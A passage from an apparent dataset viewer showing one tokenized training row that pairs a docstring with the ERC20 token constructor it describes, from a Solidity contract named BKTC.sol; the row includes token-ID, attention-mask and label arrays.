-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/3/0x38E26C68bDeF7c6e7f1AeA94b7CEB8d95b11bD69/sources/Bitkub_Token/BKTC.sol | * @dev Sets the values for {name} and {symbol}. The defaut value of {decimals} is 18. To select a different value for {decimals} you should overload it. All two of these values are immutable: they can only be set once during construction./ | constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_balances[msg.sender] = 1000000000000000000000000;
_totalSupply = 1000000000000000000000000;
}
| 14,154,017 | [
1,
2785,
326,
924,
364,
288,
529,
97,
471,
288,
7175,
5496,
1021,
443,
507,
322,
460,
434,
288,
31734,
97,
353,
6549,
18,
2974,
2027,
279,
3775,
460,
364,
288,
31734,
97,
1846,
1410,
30402,
518,
18,
4826,
2795,
434,
4259,
924,
854,
11732,
30,
2898,
848,
1338,
506,
444,
3647,
4982,
16171,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
261,
1080,
3778,
508,
67,
16,
533,
3778,
3273,
67,
13,
288,
203,
3639,
389,
529,
273,
508,
67,
31,
203,
3639,
389,
7175,
273,
3273,
67,
31,
203,
3639,
389,
70,
26488,
63,
3576,
18,
15330,
65,
273,
2130,
12648,
12648,
9449,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
2130,
12648,
12648,
9449,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.